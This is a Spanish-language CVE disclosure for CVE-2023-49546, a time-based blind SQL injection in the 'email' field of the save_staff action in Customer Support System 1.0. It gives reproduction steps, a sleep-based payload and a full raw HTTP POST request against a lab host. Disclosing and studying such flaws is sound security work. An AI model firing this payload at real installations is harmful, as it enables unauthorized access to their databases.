geraldoalcantara/cve-2023-49546Customer Support System 1.0 - Vulnerabilidad de inyección SQL en el parámetro "email" durante la operación "save_staff"
Descripción: Existe una vulnerabilidad de inyección SQL en la versión 1 del Customer Support System. Un atacante malintencionado puede ejecutar comandos SQL en la base de datos MySQL al crear/editar un usuario de personal a través del parámetro vulnerable 'email'.
Versión del producto vulnerable: Customer Support System 1.0
Autor del CVE: Geraldo Alcântara
Fecha: 28/11/2023
Confirmado el: 19/12/2023
CVE: CVE-2023-49546
Probado en: Windows
1- Inicie sesión en la aplicación.
2- Navegue a la página /customer_support/index.php?page=new_staff para añadir un usuario de personal o a /customer_support/index.php?page=staff_list para editar un usuario de personal.
3- Cree o edite un usuario de personal e inserte un payload malicioso en el parámetro "email".
payload: '+(select*from(select(sleep(2)))a)+'
POST /customer_support/ajax.php?action=save_staff HTTP/1.1
Host: 192.168.68.148
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
Accept: */*
Accept-Language: pt-BR,pt;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data; boundary=---------------------------323911847618056921711360698406
Content-Length: 1327
Origin: http://192.168.68.148
Connection: close
Referer: http://192.168.68.148/customer_support/index.php?page=new_staff
Cookie: csrftoken=1hWW6JE5vLFhJv2y8LwgL3WNPbPJ3J2WAX9F2U0Fd5H5t6DSztkJWD4nWFrbF8ko; sessionid=xrn1sshbol1vipddxsijmgkdp2q4qdgq; PHPSESSID=mfd30tu0h0s43s7kdjb74fcu0l
-----------------------------323911847618056921711360698406
Content-Disposition: form-data; name="id"
-----------------------------323911847618056921711360698406
Content-Disposition: form-data; name="firstname"
Teste2
-----------------------------323911847618056921711360698406
Content-Disposition: form-data; name="middlename"
Teste2
-----------------------------323911847618056921711360698406
Content-Disposition: form-data; name="lastname"
Teste2
-----------------------------323911847618056921711360698406
Content-Disposition: form-data; name="contact"
Teste2
-----------------------------323911847618056921711360698406
Content-Disposition: form-data; name="address"
Teste2
-----------------------------323911847618056921711360698406
Content-Disposition: form-data; name="department_id"
1
-----------------------------323911847618056921711360698406
Content-Disposition: form-data; name="email"
[email protected]'+(select*from(select(sleep(5)))a)+'
-----------------------------323911847618056921711360698406
Content-Disposition: form-data; name="password"
teste
-----------------------------323911847618056921711360698406
Content-Disposition: form-data; name="cpass"
teste
-----------------------------323911847618056921711360698406--
Descubridor(es)/Créditos:
Geraldo Alcântara